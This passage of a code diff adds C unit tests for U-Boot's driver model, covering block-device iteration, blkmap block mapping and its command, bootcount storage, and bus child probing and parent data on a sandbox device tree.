+ /*
+ * See sandbox test.dts - it has:
+ *
+ * mmc0 - removable
+ * mmc1 - removable
+ * mmc2 - fixed
+ */
+ ut_assertok(blk_first_device_err(BLKF_FIXED, &dev));
+ ut_asserteq_str("mmc2.blk", dev->name);
+ ut_asserteq(-ENODEV, blk_next_device_err(BLKF_FIXED, &dev));
+
+ ut_assertok(blk_first_device_err(BLKF_REMOVABLE, &dev));
+ ut_asserteq_str("mmc1.blk", dev->name);
+ ut_assertok(blk_next_device_err(BLKF_REMOVABLE, &dev));
+ ut_asserteq_str("mmc0.blk", dev->name);
+ ut_asserteq(-ENODEV, blk_next_device_err(BLKF_REMOVABLE, &dev));
+
+ ut_assertok(blk_first_device_err(BLKF_BOTH, &dev));
+ ut_asserteq_str("mmc2.blk", dev->name);
+ ut_assertok(blk_next_device_err(BLKF_BOTH, &dev));
+ ut_asserteq_str("mmc1.blk", dev->name);
+ ut_assertok(blk_next_device_err(BLKF_BOTH, &dev));
+ ut_asserteq_str("mmc0.blk", dev->name);
+ ut_asserteq(-ENODEV, blk_next_device_err(BLKF_FIXED, &dev));
+
+ ut_asserteq(1, blk_count_devices(BLKF_FIXED));
+ ut_asserteq(2, blk_count_devices(BLKF_REMOVABLE));
+ ut_asserteq(3, blk_count_devices(BLKF_BOTH));
+
+ i = 0;
+ blk_foreach_probe(BLKF_FIXED, dev)
+ ut_asserteq_str((i++, "mmc2.blk"), dev->name);
+ ut_asserteq(1, i);
+
+ i = 0;
+ blk_foreach_probe(BLKF_REMOVABLE, dev)
+ ut_asserteq_str(i++ ? "mmc0.blk" : "mmc1.blk", dev->name);
+ ut_asserteq(2, i);
+
+ i = 0;
+ blk_foreach_probe(BLKF_BOTH, dev)
+ ut_asserteq_str((++i == 1 ? "mmc2.blk" : i == 2 ?
+ "mmc1.blk" : "mmc0.blk"), dev->name);
+ ut_asserteq(3, i);
+
+ return 0;
+}
+DM_TEST(dm_test_blk_iter, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test finding fixed/removable block devices */
+static int dm_test_blk_flags(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* Iterate through devices without probing them */
+ ut_assertok(blk_find_first(BLKF_BOTH, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc2.blk", dev->name);
+
+ ut_assertok(blk_find_next(BLKF_BOTH, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc1.blk", dev->name);
+
+ ut_assertok(blk_find_next(BLKF_BOTH, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc0.blk", dev->name);
+
+ ut_asserteq(-ENODEV, blk_find_next(BLKF_BOTH, &dev));
+ ut_assertnull(dev);
+
+ /* All devices are removable until probed */
+ ut_asserteq(-ENODEV, blk_find_first(BLKF_FIXED, &dev));
+
+ ut_assertok(blk_find_first(BLKF_REMOVABLE, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc2.blk", dev->name);
+
+ /* Now probe them and iterate again */
+ ut_assertok(blk_first_device_err(BLKF_BOTH, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc2.blk", dev->name);
+
+ ut_assertok(blk_next_device_err(BLKF_BOTH, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc1.blk", dev->name);
+
+ ut_assertok(blk_next_device_err(BLKF_BOTH, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc0.blk", dev->name);
+
+ ut_asserteq(-ENODEV, blk_next_device_err(BLKF_BOTH, &dev));
+
+ /* Look only for fixed devices */
+ ut_assertok(blk_first_device_err(BLKF_FIXED, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc2.blk", dev->name);
+
+ ut_asserteq(-ENODEV, blk_next_device_err(BLKF_FIXED, &dev));
+
+ /* Look only for removable devices */
+ ut_assertok(blk_first_device_err(BLKF_REMOVABLE, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc1.blk", dev->name);
+
+ ut_assertok(blk_next_device_err(BLKF_REMOVABLE, &dev));
+ ut_assertnonnull(dev);
+ ut_asserteq_str("mmc0.blk", dev->name);
+
+ ut_asserteq(-ENODEV, blk_next_device_err(BLKF_REMOVABLE, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_blk_flags, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test blk_foreach() and friend */
+static int dm_test_blk_foreach(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int found;
+
+ /* Test blk_foreach() - use the 3rd bytes of the name (0/1/2) */
+ found = 0;
+ blk_foreach(BLKF_BOTH, dev)
+ found |= 1 << dectoul(&dev->name[3], NULL);
+ ut_asserteq(7, found);
+
+ /* All devices are removable until probed */
+ found = 0;
+ blk_foreach(BLKF_FIXED, dev)
+ found |= 1 << dectoul(&dev->name[3], NULL);
+ ut_asserteq(0, found);
+
+ found = 0;
+ blk_foreach(BLKF_REMOVABLE, dev)
+ found |= 1 << dectoul(&dev->name[3], NULL);
+ ut_asserteq(7, found);
+
+ /* Now try again with the probing functions */
+ found = 0;
+ blk_foreach_probe(BLKF_BOTH, dev)
+ found |= 1 << dectoul(&dev->name[3], NULL);
+ ut_asserteq(7, found);
+ ut_asserteq(3, blk_count_devices(BLKF_BOTH));
+
+ found = 0;
+ blk_foreach_probe(BLKF_FIXED, dev)
+ found |= 1 << dectoul(&dev->name[3], NULL);
+ ut_asserteq(4, found);
+ ut_asserteq(1, blk_count_devices(BLKF_FIXED));
+
+ found = 0;
+ blk_foreach_probe(BLKF_REMOVABLE, dev)
+ found |= 1 << dectoul(&dev->name[3], NULL);
+ ut_asserteq(3, found);
+ ut_asserteq(2, blk_count_devices(BLKF_REMOVABLE));
+
+ return 0;
+}
+DM_TEST(dm_test_blk_foreach, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/blkmap.c b/test/dm/blkmap.c
new file mode 100644
index 00000000000..7581e62df3b
--- /dev/null
+++ b/test/dm/blkmap.c
@@ -0,0 +1,200 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2023 Addiva Elektronik
+ * Author: Tobias Waldekranz <tobias@waldekranz.com>
+ */
+
+#include <blk.h>
+#include <blkmap.h>
+#include <dm.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define BLKSZ 0x200
+
+struct mapping {
+ int src;
+ int cnt;
+ int dst;
+};
+
+const struct mapping unordered_mapping[] = {
+ { 0, 1, 3 },
+ { 1, 3, 0 },
+ { 4, 2, 6 },
+ { 6, 2, 4 },
+
+ { 0, 0, 0 }
+};
+
+const struct mapping identity_mapping[] = {
+ { 0, 8, 0 },
+
+ { 0, 0, 0 }
+};
+
+static char identity[8 * BLKSZ];
+static char unordered[8 * BLKSZ];
+static char buffer[8 * BLKSZ];
+
+static void mkblob(void *base, const struct mapping *m)
+{
+ int nr;
+
+ for (; m->cnt; m++) {
+ for (nr = 0; nr < m->cnt; nr++) {
+ memset(base + (m->dst + nr) * BLKSZ,
+ m->src + nr, BLKSZ);
+ }
+ }
+}
+
+static int dm_test_blkmap_read(struct unit_test_state *uts)
+{
+ struct udevice *dev, *blk;
+ const struct mapping *m;
+
+ ut_assertok(blkmap_create("rdtest", &dev));
+ ut_assertok(blk_get_from_parent(dev, &blk));
+
+ /* Generate an ordered and an unordered pattern in memory */
+ mkblob(unordered, unordered_mapping);
+ mkblob(identity, identity_mapping);
+
+ /* Create a blkmap that cancels out the disorder */
+ for (m = unordered_mapping; m->cnt; m++) {
+ ut_assertok(blkmap_map_mem(dev, m->src, m->cnt,
+ unordered + m->dst * BLKSZ));
+ }
+
+ /* Read out the data via the blkmap device to another area,
+ * and verify that it matches the ordered pattern.
+ */
+ ut_asserteq(8, blk_read(blk, 0, 8, buffer));
+ ut_assertok(memcmp(buffer, identity, sizeof(buffer)));
+
+ ut_assertok(blkmap_destroy(dev));
+ return 0;
+}
+DM_TEST(dm_test_blkmap_read, 0);
+
+static int dm_test_blkmap_write(struct unit_test_state *uts)
+{
+ struct udevice *dev, *blk;
+ const struct mapping *m;
+
+ ut_assertok(blkmap_create("wrtest", &dev));
+ ut_assertok(blk_get_from_parent(dev, &blk));
+
+ /* Generate an ordered and an unordered pattern in memory */
+ mkblob(unordered, unordered_mapping);
+ mkblob(identity, identity_mapping);
+
+ /* Create a blkmap that mimics the disorder */
+ for (m = unordered_mapping; m->cnt; m++) {
+ ut_assertok(blkmap_map_mem(dev, m->src, m->cnt,
+ buffer + m->dst * BLKSZ));
+ }
+
+ /* Write the ordered data via the blkmap device to another
+ * area, and verify that the result matches the unordered
+ * pattern.
+ */
+ ut_asserteq(8, blk_write(blk, 0, 8, identity));
+ ut_assertok(memcmp(buffer, unordered, sizeof(buffer)));
+
+ ut_assertok(blkmap_destroy(dev));
+ return 0;
+}
+DM_TEST(dm_test_blkmap_write, 0);
+
+static int dm_test_blkmap_slicing(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(blkmap_create("slicetest", &dev));
+
+ ut_assertok(blkmap_map_mem(dev, 8, 8, NULL));
+
+ /* Can't overlap on the low end */
+ ut_asserteq(-EBUSY, blkmap_map_mem(dev, 4, 5, NULL));
+ /* Can't be inside */
+ ut_asserteq(-EBUSY, blkmap_map_mem(dev, 10, 2, NULL));
+ /* Can't overlap on the high end */
+ ut_asserteq(-EBUSY, blkmap_map_mem(dev, 15, 4, NULL));
+
+ /* But we should be able to add slices right before and
+ * after
+ */
+ ut_assertok(blkmap_map_mem(dev, 4, 4, NULL));
+ ut_assertok(blkmap_map_mem(dev, 16, 4, NULL));
+
+ ut_assertok(blkmap_destroy(dev));
+ return 0;
+}
+DM_TEST(dm_test_blkmap_slicing, 0);
+
+static int dm_test_blkmap_creation(struct unit_test_state *uts)
+{
+ struct udevice *first, *second;
+
+ ut_assertok(blkmap_create("first", &first));
+
+ /* Can't have two "first"s */
+ ut_asserteq(-EBUSY, blkmap_create("first", &second));
+
+ /* But "second" should be fine */
+ ut_assertok(blkmap_create("second", &second));
+
+ /* Once "first" is destroyed, we should be able to create it
+ * again
+ */
+ ut_assertok(blkmap_destroy(first));
+ ut_assertok(blkmap_create("first", &first));
+
+ ut_assertok(blkmap_destroy(first));
+ ut_assertok(blkmap_destroy(second));
+ return 0;
+}
+DM_TEST(dm_test_blkmap_creation, 0);
+
+static int dm_test_cmd_blkmap(struct unit_test_state *uts)
+{
+ ulong loadaddr = env_get_hex("loadaddr", 0);
+ struct udevice *dev;
+
+ console_record_reset();
+
+ ut_assertok(run_command("blkmap info", 0));
+ ut_assert_console_end();
+
+ ut_assertok(run_command("blkmap create ramdisk", 0));
+ ut_assert_nextline("Created \"ramdisk\"");
+ ut_assert_console_end();
+
+ ut_assertnonnull((dev = blkmap_from_label("ramdisk")));
+
+ ut_assertok(run_commandf("blkmap map ramdisk 0 800 mem 0x%lx", loadaddr));
+ ut_assert_nextline("Block 0x0+0x800 mapped to 0x%lx", loadaddr);
+ ut_assert_console_end();
+
+ ut_assertok(run_command("blkmap info", 0));
+ ut_assert_nextline("Device 0: Vendor: U-Boot Rev: 1.0 Prod: blkmap");
+ ut_assert_nextline(" Type: Hard Disk");
+ ut_assert_nextline(" Capacity: 1.0 MB = 0.0 GB (2048 x 512)");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("blkmap get ramdisk dev devnum", 0));
+ ut_asserteq(dev_seq(dev), env_get_hex("devnum", 0xdeadbeef));
+
+ ut_assertok(run_command("blkmap destroy ramdisk", 0));
+ ut_assert_nextline("Destroyed \"ramdisk\"");
+ ut_assert_console_end();
+
+ ut_assertok(run_command("blkmap info", 0));
+ ut_assert_console_end();
+ return 0;
+}
+DM_TEST(dm_test_cmd_blkmap, 0);
diff --git a/test/dm/bootcount.c b/test/dm/bootcount.c
new file mode 100644
index 00000000000..9cfc7d48aac
--- /dev/null
+++ b/test/dm/bootcount.c
@@ -0,0 +1,81 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) 2018 Theobroma Systems Design und Consulting GmbH
+ */
+
+#include <dm.h>
+#include <bootcount.h>
+#include <log.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_bootcount_rtc(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u32 val;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_BOOTCOUNT, "bootcount@0",
+ &dev));
+ ut_assertok(dm_bootcount_set(dev, 0));
+ ut_assertok(dm_bootcount_get(dev, &val));
+ ut_assert(val == 0);
+ ut_assertok(dm_bootcount_set(dev, 0xab));
+ ut_assertok(dm_bootcount_get(dev, &val));
+ ut_assert(val == 0xab);
+
+ ut_assertok(uclass_get_device(UCLASS_BOOTCOUNT, 1, &dev));
+ ut_assertok(dm_bootcount_set(dev, 0));
+ ut_assertok(dm_bootcount_get(dev, &val));
+ ut_assert(val == 0);
+ ut_assertok(dm_bootcount_set(dev, 0xab));
+ ut_assertok(dm_bootcount_get(dev, &val));
+ ut_assert(val == 0xab);
+
+ return 0;
+}
+
+DM_TEST(dm_test_bootcount_rtc, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_bootcount_syscon_four_bytes(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u32 val;
+
+ sandbox_set_enable_memio(true);
+ ut_assertok(uclass_get_device_by_name(UCLASS_BOOTCOUNT, "bootcount_4@0",
+ &dev));
+ ut_assertok(dm_bootcount_set(dev, 0xab));
+ ut_assertok(dm_bootcount_get(dev, &val));
+ ut_assert(val == 0xab);
+ ut_assertok(dm_bootcount_set(dev, 0));
+ ut_assertok(dm_bootcount_get(dev, &val));
+ ut_assert(val == 0);
+
+ return 0;
+}
+
+DM_TEST(dm_test_bootcount_syscon_four_bytes,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_bootcount_syscon_two_bytes(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ u32 val;
+
+ sandbox_set_enable_memio(true);
+ ut_assertok(uclass_get_device_by_name(UCLASS_BOOTCOUNT, "bootcount_2@0",
+ &dev));
+ ut_assertok(dm_bootcount_set(dev, 0xab));
+ ut_assertok(dm_bootcount_get(dev, &val));
+ ut_assert(val == 0xab);
+ ut_assertok(dm_bootcount_set(dev, 0));
+ ut_assertok(dm_bootcount_get(dev, &val));
+ ut_assert(val == 0);
+
+ return 0;
+}
+
+DM_TEST(dm_test_bootcount_syscon_two_bytes,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/bus.c b/test/dm/bus.c
new file mode 100644
index 00000000000..a338c7f567c
--- /dev/null
+++ b/test/dm/bus.c
@@ -0,0 +1,486 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2014 Google, Inc
+ */
+
+#ifdef CONFIG_SANDBOX
+#include <log.h>
+#include <os.h>
+#endif
+#include <dm.h>
+#include <asm/global_data.h>
+#include <dm/device.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <dm/util.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/* Test that we can probe for children */
+static int dm_test_bus_children(struct unit_test_state *uts)
+{
+ int num_devices = 9;
+ struct udevice *bus;
+ struct uclass *uc;
+
+ ut_assertok(uclass_get(UCLASS_TEST_FDT, &uc));
+ ut_asserteq(num_devices, list_count_items(&uc->dev_head));
+
+ /* Probe the bus, which should yield 3 more devices */
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+ num_devices += 3;
+
+ ut_assertok(uclass_get(UCLASS_TEST_FDT, &uc));
+ ut_asserteq(num_devices, list_count_items(&uc->dev_head));
+
+ ut_assert(!dm_check_devices(uts, num_devices));
+
+ return 0;
+}
+DM_TEST(dm_test_bus_children, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test our functions for accessing children */
+static int dm_test_bus_children_funcs(struct unit_test_state *uts)
+{
+ const void *blob = gd->fdt_blob;
+ struct udevice *bus, *dev;
+ int node;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+
+ /* device_get_child() */
+ ut_assertok(device_get_child(bus, 0, &dev));
+ ut_asserteq(-ENODEV, device_get_child(bus, 4, &dev));
+ ut_assertok(device_get_child_by_seq(bus, 5, &dev));
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+ ut_asserteq_str("c-test@5", dev->name);
+
+ /* Device with sequence number 0 should be accessible */
+ ut_asserteq(-ENODEV, device_find_child_by_seq(bus, -1, &dev));
+ ut_assertok(device_find_child_by_seq(bus, 0, &dev));
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+ ut_asserteq(0, device_find_child_by_seq(bus, 0, &dev));
+ ut_assertok(device_get_child_by_seq(bus, 0, &dev));
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+ ut_asserteq(0, device_find_child_by_seq(bus, 0, &dev));
+
+ /* There is no device with sequence number 2 */
+ ut_asserteq(-ENODEV, device_find_child_by_seq(bus, 2, &dev));
+ ut_asserteq(-ENODEV, device_find_child_by_seq(bus, 2, &dev));
+ ut_asserteq(-ENODEV, device_get_child_by_seq(bus, 2, &dev));
+
+ /* Looking for something that is not a child */
+ node = fdt_path_offset(blob, "/junk");
+ ut_asserteq(-ENODEV, device_find_child_by_of_offset(bus, node, &dev));
+ node = fdt_path_offset(blob, "/d-test");
+ ut_asserteq(-ENODEV, device_find_child_by_of_offset(bus, node, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_bus_children_funcs, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_bus_children_of_offset(struct unit_test_state *uts)
+{
+ const void *blob = gd->fdt_blob;
+ struct udevice *bus, *dev;
+ int node;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+ ut_assertnonnull(bus);
+
+ /* Find a valid child */
+ node = fdt_path_offset(blob, "/some-bus/c-test@1");
+ ut_assert(node > 0);
+ ut_assertok(device_find_child_by_of_offset(bus, node, &dev));
+ ut_assertnonnull(dev);
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+ ut_assertok(device_get_child_by_of_offset(bus, node, &dev));
+ ut_assertnonnull(dev);
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+
+ return 0;
+}
+DM_TEST(dm_test_bus_children_of_offset,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
+
+/* Test that we can iterate through children */
+static int dm_test_bus_children_iterators(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev, *child;
+
+ /* Walk through the children one by one */
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+ ut_assertok(device_find_first_child(bus, &dev));
+ ut_asserteq_str("c-test@5", dev->name);
+ ut_assertok(device_find_next_child(&dev));
+ ut_asserteq_str("c-test@0", dev->name);
+ ut_assertok(device_find_next_child(&dev));
+ ut_asserteq_str("c-test@1", dev->name);
+ ut_assertok(device_find_next_child(&dev));
+ ut_asserteq_ptr(dev, NULL);
+
+ /* Move to the next child without using device_find_first_child() */
+ ut_assertok(device_find_child_by_seq(bus, 5, &dev));
+ ut_asserteq_str("c-test@5", dev->name);
+ ut_assertok(device_find_next_child(&dev));
+ ut_asserteq_str("c-test@0", dev->name);
+
+ /* Try a device with no children */
+ ut_assertok(device_find_first_child(dev, &child));
+ ut_asserteq_ptr(child, NULL);
+
+ return 0;
+}
+DM_TEST(dm_test_bus_children_iterators,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that the bus can store data about each child */
+static int test_bus_parent_data(struct unit_test_state *uts)
+{
+ struct dm_test_parent_data *parent_data;
+ struct udevice *bus, *dev;
+ struct uclass *uc;
+ int value;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+
+ /* Check that parent data is allocated */
+ ut_assertok(device_find_child_by_seq(bus, 0, &dev));
+ ut_asserteq_ptr(NULL, dev_get_parent_priv(dev));
+ ut_assertok(device_get_child_by_seq(bus, 0, &dev));
+ parent_data = dev_get_parent_priv(dev);
+ ut_assert(NULL != parent_data);
+
+ /* Check that it starts at 0 and goes away when device is removed */
+ parent_data->sum += 5;
+ ut_asserteq(5, parent_data->sum);
+ device_remove(dev, DM_REMOVE_NORMAL);
+ ut_asserteq_ptr(NULL, dev_get_parent_priv(dev));
+
+ /* Check that we can do this twice */
+ ut_assertok(device_get_child_by_seq(bus, 0, &dev));
+ parent_data = dev_get_parent_priv(dev);
+ ut_assert(NULL != parent_data);
+ parent_data->sum += 5;
+ ut_asserteq(5, parent_data->sum);
+
+ /* Add parent data to all children */
+ ut_assertok(uclass_get(UCLASS_TEST_FDT, &uc));
+ value = 5;
+ uclass_foreach_dev(dev, uc) {
+ /* Ignore these if they are not on this bus */
+ if (dev->parent != bus) {
+ ut_asserteq_ptr(NULL, dev_get_parent_priv(dev));
+ continue;
+ }
+ ut_assertok(device_probe(dev));
+ parent_data = dev_get_parent_priv(dev);
+
+ parent_data->sum = value;
+ value += 5;
+ }
+
+ /* Check it is still there */
+ value = 5;
+ uclass_foreach_dev(dev, uc) {
+ /* Ignore these if they are not on this bus */
+ if (dev->parent != bus)
+ continue;
+ parent_data = dev_get_parent_priv(dev);
+
+ ut_asserteq(value, parent_data->sum);
+ value += 5;
+ }
+
+ return 0;
+}
+/* Test that the bus can store data about each child */
+static int dm_test_bus_parent_data(struct unit_test_state *uts)
+{
+ return test_bus_parent_data(uts);
+}
+DM_TEST(dm_test_bus_parent_data, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* As above but the size is controlled by the uclass */
+static int dm_test_bus_parent_data_uclass(struct unit_test_state *uts)
+{
+ struct driver *drv;
+ struct udevice *bus;
+ int size;
+ int ret;
+
+ /* Set the driver size to 0 so that the uclass size is used */
+ ut_assertok(uclass_find_device(UCLASS_TEST_BUS, 0, &bus));
+ drv = (struct driver *)bus->driver;
+ size = drv->per_child_auto;
+
+#ifdef CONFIG_SANDBOX
+ os_mprotect_allow(bus->uclass->uc_drv, sizeof(*bus->uclass->uc_drv));
+ os_mprotect_allow(drv, sizeof(*drv));
+#endif
+ bus->uclass->uc_drv->per_child_auto = size;
+ drv->per_child_auto = 0;
+ ret = test_bus_parent_data(uts);
+ if (ret)
+ return ret;
+ bus->uclass->uc_drv->per_child_auto = 0;
+ drv->per_child_auto = size;
+
+ return 0;
+}
+DM_TEST(dm_test_bus_parent_data_uclass,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that the bus ops are called when a child is probed/removed */
+static int dm_test_bus_parent_ops(struct unit_test_state *uts)
+{
+ struct dm_test_parent_data *parent_data;
+ struct udevice *bus, *dev;
+ struct uclass *uc;
+
+ testbus_get_clear_removed();
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+ ut_assertok(uclass_get(UCLASS_TEST_FDT, &uc));
+
+ uclass_foreach_dev(dev, uc) {
+ /* Ignore these if they are not on this bus */
+ if (dev->parent != bus)
+ continue;
+ ut_asserteq_ptr(NULL, dev_get_parent_priv(dev));
+
+ ut_assertok(device_probe(dev));
+ parent_data = dev_get_parent_priv(dev);
+ ut_asserteq(TEST_FLAG_CHILD_PROBED, parent_data->flag);
+ }
+
+ uclass_foreach_dev(dev, uc) {
+ /* Ignore these if they are not on this bus */
+ if (dev->parent != bus)
+ continue;
+ parent_data = dev_get_parent_priv(dev);
+ ut_asserteq(TEST_FLAG_CHILD_PROBED, parent_data->flag);
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+ ut_asserteq_ptr(NULL, dev_get_parent_priv(dev));
+ ut_asserteq_ptr(testbus_get_clear_removed(), dev);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_bus_parent_ops, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int test_bus_parent_plat(struct unit_test_state *uts)
+{
+ struct dm_test_parent_plat *plat;
+ struct udevice *bus, *dev;
+
+ /* Check that the bus has no children */
+ ut_assertok(uclass_find_device(UCLASS_TEST_BUS, 0, &bus));
+ device_find_first_child(bus, &dev);
+ ut_asserteq_ptr(NULL, dev);
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+
+ for (device_find_first_child(bus, &dev);
+ dev;
+ device_find_next_child(&dev)) {
+ /* Check that platform data is allocated */
+ plat = dev_get_parent_plat(dev);
+ ut_assert(plat != NULL);
+
+ /*
+ * Check that it is not affected by the device being
+ * probed/removed
+ */
+ plat->count++;
+ ut_asserteq(1, plat->count);
+ device_probe(dev);
+ device_remove(dev, DM_REMOVE_NORMAL);
+
+ ut_asserteq_ptr(plat, dev_get_parent_plat(dev));
+ ut_asserteq(1, plat->count);
+ ut_assertok(device_probe(dev));
+ }
+ ut_asserteq(3, device_get_child_count(bus));
+
+ /* Removing the bus should also have no effect (it is still bound) */
+ device_remove(bus, DM_REMOVE_NORMAL);
+ for (device_find_first_child(bus, &dev);
+ dev;
+ device_find_next_child(&dev)) {
+ /* Check that platform data is allocated */
+ plat = dev_get_parent_plat(dev);
+ ut_assert(plat != NULL);
+ ut_asserteq(1, plat->count);
+ }
+ ut_asserteq(3, device_get_child_count(bus));
+
+ /* Unbind all the children */
+ do {
+ device_find_first_child(bus, &dev);
+ if (dev)
+ device_unbind(dev);
+ } while (dev);
+
+ /* Now the child plat should be removed and re-added */
+ device_probe(bus);
+ for (device_find_first_child(bus, &dev);
+ dev;
+ device_find_next_child(&dev)) {
+ /* Check that platform data is allocated */
+ plat = dev_get_parent_plat(dev);
+ ut_assert(plat != NULL);
+ ut_asserteq(0, plat->count);
+ }
+ ut_asserteq(3, device_get_child_count(bus));
+
+ return 0;
+}
+
+/* Test that the bus can store platform data about each child */
+static int dm_test_bus_parent_plat(struct unit_test_state *uts)
+{
+ return test_bus_parent_plat(uts);
+}
+DM_TEST(dm_test_bus_parent_plat, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* As above but the size is controlled by the uclass */
+static int dm_test_bus_parent_plat_uclass(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+ struct driver *drv;
+ int size;
+ int ret;
+
+ /* Set the driver size to 0 so that the uclass size is used */
+ ut_assertok(uclass_find_device(UCLASS_TEST_BUS, 0, &bus));
+ drv = (struct driver *)bus->driver;
+ size = drv->per_child_plat_auto;
+#ifdef CONFIG_SANDBOX
+ os_mprotect_allow(bus->uclass->uc_drv, sizeof(*bus->uclass->uc_drv));
+ os_mprotect_allow(drv, sizeof(*drv));
+#endif
+ bus->uclass->uc_drv->per_child_plat_auto = size;
+ drv->per_child_plat_auto = 0;
+ ret = test_bus_parent_plat(uts);
+ if (ret)
+ return ret;
+ bus->uclass->uc_drv->per_child_plat_auto = 0;
+ drv->per_child_plat_auto = size;
+
+ return 0;
+}
+DM_TEST(dm_test_bus_parent_plat_uclass,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that the child post_bind method is called */
+static int dm_test_bus_child_post_bind(struct unit_test_state *uts)
+{
+ struct dm_test_parent_plat *plat;
+ struct udevice *bus, *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+ for (device_find_first_child(bus, &dev);
+ dev;
+ device_find_next_child(&dev)) {
+ /* Check that platform data is allocated */
+ plat = dev_get_parent_plat(dev);
+ ut_assert(plat != NULL);
+ ut_asserteq(1, plat->bind_flag);
+ }
+ ut_asserteq(3, device_get_child_count(bus));
+
+ return 0;
+}
+DM_TEST(dm_test_bus_child_post_bind, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that the child post_bind method is called */
+static int dm_test_bus_child_post_bind_uclass(struct unit_test_state *uts)
+{
+ struct dm_test_parent_plat *plat;
+ struct udevice *bus, *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+ for (device_find_first_child(bus, &dev);
+ dev;
+ device_find_next_child(&dev)) {
+ /* Check that platform data is allocated */
+ plat = dev_get_parent_plat(dev);
+ ut_assert(plat != NULL);
+ ut_asserteq(2, plat->uclass_bind_flag);
+ }
+ ut_asserteq(3, device_get_child_count(bus));
+
+ return 0;
+}
+DM_TEST(dm_test_bus_child_post_bind_uclass,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/*
+ * Test that the bus' uclass' child_pre_probe() is called before the
+ * device's probe() method
+ */
+static int dm_test_bus_child_pre_probe_uclass(struct unit_test_state *uts)
+{
+ struct udevice *bus, *dev;
+
+ /*
+ * See testfdt_drv_probe() which effectively checks that the uclass
+ * flag is set before that method is called
+ */
+ ut_assertok(uclass_get_device(UCLASS_TEST_BUS, 0, &bus));
+ for (device_find_first_child(bus, &dev);
+ dev;
+ device_find_next_child(&dev)) {
+ struct dm_test_priv *priv = dev_get_priv(dev);
+
+ /* Check that things happened in the right order */
+ ut_asserteq_ptr(NULL, priv);
+ ut_assertok(device_probe(dev));
+
+ priv = dev_get_priv(dev);
+ ut_assert(priv != NULL);
+ ut_asserteq(1, priv->uclass_flag);
+ ut_asserteq(1, priv->uclass_total);
+ }
+ ut_asserteq(3, device_get_child_count(bus));
+
+ return 0;
+}
